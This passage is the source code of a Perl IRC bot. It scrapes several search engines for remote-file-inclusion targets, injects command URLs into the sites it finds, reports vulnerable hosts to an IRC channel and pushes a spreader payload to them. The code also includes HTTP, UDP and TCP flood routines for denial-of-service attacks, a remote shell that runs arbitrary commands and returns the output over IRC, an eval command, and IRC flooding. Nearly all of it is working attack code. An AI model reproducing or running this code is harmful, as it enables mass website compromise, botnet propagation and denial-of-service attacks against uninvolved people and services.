    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    
    ######################################################################
    #################### AOL
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    # Starting The Search Engine
        my @aollist=&aol($dork);
        my @aollista=&aola($dork);
        my @aollistb=&aolb($dork);
        my @aollistc=&aolc($dork);
    push(my @aolbyp,@aollist, @aollista, @aollistb, @aollistc );
    #
    push(my @tot, @aolbyp);
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11A13O11L9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
    my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11A13O11L9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    
    ######################################################################
    #################### Yahoo
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    # Starting The Search Engine
        my @ylist=&yahoo($dork);
        my @yalist=&yahooa($dork);
        my @yblist=&yahoob($dork);
        my @yclist=&yahooc($dork);
        my @ydlist=&yahood($dork);
            push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist );    
    #
    push(my @tot, @yahoobypass);
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11Y13ahoo4!9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
    my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11Y13ahoo4!9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    
    ######################################################################
    #################### MSN
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    # Starting The Search Engine
        my @mlist=&msn($dork);
    push(my @tot, @mlist);
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13M11S13N9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
    my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13M11S13N9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    
    ######################################################################
    #################### ASK
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    # Starting The Search Engine
        my @asklist=&ask($dork);
    push(my @tot, @asklist);
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13A11S13K9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
      my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13A11S13K9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    
    ######################################################################
    #################### FireBall
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    # Starting The Search Engine
        my @fireball=fireball($dork);
    push(my @tot, @fireball);
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13F11ire13B11all9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
    my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 13F11ire13B11all9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    ######################
    #End of EXTREMESCANNER#
    #                    #
    ######################
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #     HTTPFlood      #
    #                    #
    ######################
    if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1HTTP-DDOS9,1] Attacking 4,1 ".$1." 9,1 on port 80 for 4,1".$2." 4,1 seconds .");
    my $itime = time;
    my ($cur_time);
    $cur_time = time - $itime;
    while ($2>$cur_time){
    $cur_time = time - $itime;
    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
    print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
    close($socket);
    }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1HTTP-DDOS9,1] Attacking done 4,1 ".$1.".");
    }
    ######################
    #  End of HTTPFlood  #
    #                    #
    ######################
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #     UDPFlood       #
    #                    #
    ######################
    if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1UDP-DDOS9,1] Attacking 4,1 ".$1." 9,1 with 4,1 ".$2." 9,1 Kb Packets for 4,1 ".$3." 4,1 seconds.");
    my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
    $dtime = 1 if $dtime == 0;
    my %bytes;
    $bytes{igmp} = $2 * $pacotes{igmp};
    $bytes{icmp} = $2 * $pacotes{icmp};
    $bytes{o} = $2 * $pacotes{o};
    $bytes{udp} = $2 * $pacotes{udp};
    $bytes{tcp} = $2 * $pacotes{tcp};
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1UDP-DDOS9,1] 9,1Results4,1 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in4,1 ".$dtime." 9,1seconds to4,1 ".$1.".");
    }
    exit;
    }
    }
    ######################
    #  End of Udpflood   #
    #                    #
    ######################
    
    
    sub ircase {
    my ($kem, $printl, $case) = @_;
      if ($case =~ /^join (.*)/) {
         j("$1");
       }
       if ($case =~ /^part (.*)/) {
          p("$1");
       }
    if ($case =~ /^rejoin\s+(.*)/) {
    my $chan = $1;
    if ($chan =~ /^(\d+) (.*)/) {
    for (my $ca = 1; $ca <= $1; $ca++ ) {
    p("$2");
    j("$2");
    }
    }
    else {
    p("$chan");
    j("$chan");
    }
    }
    
    if ($case =~ /^op/) {
    op("$printl", "$kem") if $case eq "op";
    my $oarg = substr($case, 3);
    op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
    }
    
    if ($case =~ /^deop/) {
    deop("$printl", "$kem") if $case eq "deop";
    my $oarg = substr($case, 5);
    deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
    }
    
    if ($case =~ /^msg\s+(\S+) (.*)/) {
    msg("$1", "$2");
    }
    
    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
    for (my $cf = 1; $cf <= $1; $cf++) {
    msg("$2", "$3");
    }
    }
    
    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
    ctcp("$1", "$2");
    }
    
    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
    for (my $cf = 1; $cf <= $1; $cf++) {
    ctcp("$2", "$3");
    }
    }
    
    if ($case =~ /^nick (.*)/) {
    nick("$1");
    }
    
    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
    conectar("$2", "$1", 6667);
    }
    
    if ($case =~ /^raw (.*)/) {
    sendraw("$1");
    }
    
    if ($case =~ /^eval (.*)/) {
    eval "$1";
    }
    }
    
    
    sub shell {
    my $printl=$_[0];
    my $comando=$_[1];
    if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
    }
    
    elsif ($pid = fork) {
    waitpid($pid, 0);
    }
    else {
    if (fork) {
    exit;
    
    } else {
    my @resp=`$comando 2>&1 3>&1`;
    my $c=0;
    foreach my $linha (@resp) {
      $c++;
      chop $linha;
      sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
      if ($c == "$linas_max") {
        $c=0;
        sleep $sleep;
      }
    }
    exit;
    }
    }
    }
    
    sub tcpflooder {
    my $itime = time;
    my ($cur_time);
    my ($ia,$pa,$proto,$j,$l,$t);
    $ia=inet_aton($_[0]);
    $pa=sockaddr_in($_[1],$ia);
    $ftime=$_[2];
    $proto=getprotobyname('tcp');
    $j=0;$l=0;
    $cur_time = time - $itime;
    while ($l<1000){
    $cur_time = time - $itime;
    last if $cur_time >= $ftime;
    $t="SOCK$l";
    socket($t,PF_INET,SOCK_STREAM,$proto);
    connect($t,$pa)||$j--;
    $j++;$l++;
    }
    $l=0;
    while ($l<1000){
    $cur_time = time - $itime;
    last if $cur_time >= $ftime;
    $t="SOCK$l";
    shutdown($t,2);
    $l++;
    }
    }
    
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    
    sub udpflooder {
    my $iaddr = inet_aton($_[0]);
    my $msg = 'A' x $_[1];
    my $ftime = $_[2];
    my $cp = 0;
    my (%pacotes);
    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
    return(undef) if $cp == 4;
    my $itime = time;
    my ($cur_time);
    while ( 1 ) {
    for (my $porta = 1;
    $porta <= 65000; $porta++) {
    $cur_time = time - $itime;
    last if $cur_time >= $ftime;
    send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
    send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
    send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
    send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
    
    
    for (my $pc = 3;
    $pc <= 255;$pc++) {
    next if $pc == 6;
    $cur_time = time - $itime;
    last if $cur_time >= $ftime;
    socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
    send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
    }
    }
    last if $cur_time >= $ftime;
    }
    return($cur_time, %pacotes);
    }
    
    sub ctcp {
    return unless $#_ == 1;
    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
    }
    
    sub msg {
    return unless $#_ == 1;
    sendraw("PRIVMSG $_[0] :$_[1]");
    }
    
    sub notice {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
    }
    
    sub op {
    return unless $#_ == 1;
    sendraw("MODE $_[0] +o $_[1]");
    }
    
    sub deop {
    return unless $#_ == 1;
    sendraw("MODE $_[0] -o $_[1]");
    }
    
    sub j {
    &join(@_);
    }
    
    sub join {
    return unless $#_ == 0;
    sendraw("JOIN $_[0]");
    
    }
    sub p { part(@_);
    }
    
    sub part {
    sendraw("PART $_[0]");
    }
    
    sub nick {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
    }
    
    sub quit {
    sendraw("QUIT :$_[0]");
    }
    
    #####
    # SUBS GOOGLE
    #####
    sub googlet {
    my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk");
    my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK");
    my @lang = ("en","es","de","nl","pt-BR","it","de","fo","sv","fr","el");
    my @lst;
    my $key=key($_[0]);
    my $c=0;
    foreach my $i (@dominios){
    my @lista = google($i,$key,$lang[$c],$country[$c]);
    push(@lst,@lista);
    $c++;
    }
    return @lst;
    }
    
    sub google(){
    my @lst;
    my $i=$_[0];
    my $key=$_[1];
    my $lang= $_[2];
    my $country =$_[3];
    for($b=0;$b<=5000;$b+=100){
    my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
    my $Res=query($Go);
    while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
    if ($1 !~ /google/){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}}
    return @lst;
    }
    
    #####
    # SUBS AllTheWeb
    #####
    
    sub allthewebt {
    my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
    my @lst;
    my $key=key($_[0]);
    my $c=0;
    foreach my $lang (@lang){
    my @lista = alltheweb($key,$lang[$c]);
    push(@lst,@lista);
    $c++;
    }
    return @lst;
    }
    
    
    sub alltheweb(){
    my @lista;
    my $key = $_[0];
    my $lang= $_[1];
    for($b=0;$b<=500;$b+=100){
    my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
    my $Res=query($alltheweb);
    while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/ //g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub standard()
    {
    my @lst;
    my $key=$_[0];
    my $i=0;
    my $pg=0;
    for($i=0; $i<=1000; $i+=100)
    {
    my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
    my $Res=query($all);
    while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/ //g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    #####
    # SUBS AOL
    #####
    sub aol(){
    my @lst;
    my $key = $_[0];
    for($b=1;$b<=100;$b++){
    my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
    my $Res=query($AoL);
    while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub aola(){
    my @lst;
    my $key = $_[0];
    for($b=1;$b<=59;$b+=1){
    my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_en");
    my $Res=query($AoL);
    while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub aolb(){
    my @lst;
    my $key = $_[0];
    for($b=1;$b<=59;$b+=1){
    my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_de");
    my $Res=query($AoL);
    while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub aolc(){
    my @lst;
    my $key = $_[0];
    for($b=1;$b<=59;$b+=1){
    my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_fr");
    my $Res=query($AoL);
    while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    #####
    # SUBS Yahoo
    #####
    sub yahoo(){
    my @lst;
    my $key = $_[0];
    for($b=1;$b<=1000;$b+=100){
    my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
    my $Res=query($Ya);
    while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/<b>//g;
    $k=~s/<\/b>//g;
    $k=~s/<wbr>//g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub yahooa(){
    my @lst;
    my $key = $_[0];
    for($b=210;$b<=1000;$b+=210){
    my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
    my $Res=query($Ya);
    while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/<b>//g;
    $k=~s/<\/b>//g;
    $k=~s/<wbr>//g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub yahoob(){
    my @lst;
    my $key = $_[0];
    for($b=410;$b<=1000;$b+=210){
    my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
    my $Res=query($Ya);
    while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/<b>//g;
    $k=~s/<\/b>//g;
    $k=~s/<wbr>//g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub yahooc(){
    my @lst;
    my $key = $_[0];
    for($b=610;$b<=1000;$b+=210){
    my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
    my $Res=query($Ya);
    while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/<b>//g;
    $k=~s/<\/b>//g;
    $k=~s/<wbr>//g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    sub yahood(){
    my @lst;
    my $key = $_[0];
    for($b=810;$b<=1000;$b+=210){
    my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
    my $Res=query($Ya);
    while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/<b>//g;
    $k=~s/<\/b>//g;
    $k=~s/<wbr>//g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    #####
    # SUBS MSN
    #####
    sub msn(){
    my @lst;
    my $key = $_[0];
    for($b=1;$b<=1000;$b+=10){
    my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
    my $Res=query($MsN);
    while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
    if($1 !~ /msn|live/){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}}
    return @lst;
    }
    
    #####
    # SUBS ASK
    #####
    sub ask(){
    my @lst;
    my $key=$_[0];
    my $i=0;
    my $pg=0;
    for($i=0; $i<=1000; $i+=10)
    {
    my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
    my $Res=query($Ask);
    while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
    my $k=$3;
    $k=~s/[\"\ ]//g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
    }
    
    #####
    # SUBS FireBall
    #####
    sub fireball(){
    my $key=$_[0];
    my $inizio=1;
    my $pagine=200;
    my @lst;
    my $av=0;
    while($inizio <= $pagine){
    my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
    my $Res=query($fireball);
    while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
    if ($1 !~ /msn|live|google|yahoo/){
    my $k="$1/";
    my @grep=links($k);
    push(@lst,@grep);
    }}
    $av=$av+10;
    $inizio++;
    }
    return @lst;
    }
    
    
    sub links()
    {
    my @l;
    my $link=$_[0];
    my $host=$_[0];
    my $hdir=$_[0];
    $hdir=~s/(.*)\/[^\/]*$/\1/;
    $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host.="/";
    $link.="/";
    $hdir.="/";
    $host=~s/\/\//\//g;
    $hdir=~s/\/\//\//g;
    $link=~s/\/\//\//g;
    push(@l,$link,$host,$hdir);
    return @l;
    }
    
    sub geths(){
    my $host=$_[0];
    $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    return $host;
    }
    
    sub key(){
    my $chiave=$_[0];
    $chiave =~ s/ /\+/g;
    $chiave =~ s/:/\%3A/g;
    $chiave =~ s/\//\%2F/g;
    $chiave =~ s/&/\%26/g;
    $chiave =~ s/\"/\%22/g;
    $chiave =~ s/,/\%2C/g;
    $chiave =~ s/\\/\%5C/g;
    return $chiave;
    }
    
    sub query($){
    my $url=$_[0];
    $url=~s/http:\/\///;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host=~s/href=\"?http:\/\///;
    $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query=~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
    my @r = <$sock>;
    $page="@r";
    close($sock);
    };
    return $page;
    }
    
